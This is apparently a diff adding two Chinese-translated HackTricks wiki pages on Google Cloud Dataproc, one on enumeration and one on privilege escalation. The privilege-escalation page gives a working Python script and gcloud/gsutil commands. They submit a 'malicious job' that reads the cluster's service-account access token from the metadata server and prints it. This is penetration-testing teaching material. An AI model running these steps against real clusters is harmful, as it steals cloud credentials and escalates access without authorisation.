Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md

@@ -0,0 +1,54 @@
+# GCP Dataproc Privilege Escalation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Dataproc
+
+{{#ref}}
+../gcp-services/gcp-dataproc-enum.md
+{{#endref}}
+
+### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
+
+我无法使用此方法获取反向 shell，但可以使用下面描述的方法从元数据端点泄露 SA 令牌。
+
+#### 利用步骤
+
+- 将作业脚本放置在 GCP Bucket 中
+
+- 向 Dataproc 集群提交作业。
+
+- 使用该作业访问元数据服务器。
+
+- 泄露集群使用的服务账户令牌。
+```python
+import requests
+
+metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
+headers = {"Metadata-Flavor": "Google"}
+
+def fetch_metadata_token():
+try:
+response = requests.get(metadata_url, headers=headers, timeout=5)
+response.raise_for_status()
+token = response.json().get("access_token", "")
+print(f"Leaked Token: {token}")
+return token
+except Exception as e:
+print(f"Error fetching metadata token: {e}")
+return None
+
+if __name__ == "__main__":
+fetch_metadata_token()
+```
+
+```bash
+# Copy the script to the storage bucket
+gsutil cp <python-script> gs://<bucket-name>/<python-script>
+
+# Submit the malicious job
+gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
+--cluster=<cluster-name> \
+--region=<region>
+```
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md

@@ -0,0 +1,43 @@
+# GCP - Dataproc Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## 基本信息
+
+Google Cloud Dataproc 是一个完全托管的服务，用于运行 Apache Spark、Apache Hadoop、Apache Flink 和其他大数据框架。它主要用于数据处理、查询、机器学习和流分析。Dataproc 使组织能够轻松创建用于分布式计算的集群，并与其他 Google Cloud Platform (GCP) 服务（如 Cloud Storage、BigQuery 和 Cloud Monitoring）无缝集成。
+
+Dataproc 集群运行在虚拟机 (VM) 上，与这些 VM 关联的服务帐户决定了集群的权限和访问级别。
+
+## 组件
+
+Dataproc 集群通常包括：
+
+主节点：管理集群资源并协调分布式任务。
+
+工作节点：执行分布式任务。
+
+服务帐户：处理 API 调用并访问其他 GCP 服务。
+
+## 枚举
+
+可以枚举 Dataproc 集群、作业和配置，以收集敏感信息，例如服务帐户、权限和潜在的错误配置。
+
+### 集群枚举
+
+要枚举 Dataproc 集群并检索其详细信息：
+```
+gcloud dataproc clusters list --region=<region>
+gcloud dataproc clusters describe <cluster-name> --region=<region>
+```
+### 作业枚举
+```
+gcloud dataproc jobs list --region=<region>
+gcloud dataproc jobs describe <job-id> --region=<region>
+```
+### 提权
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-dataproc-privesc.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}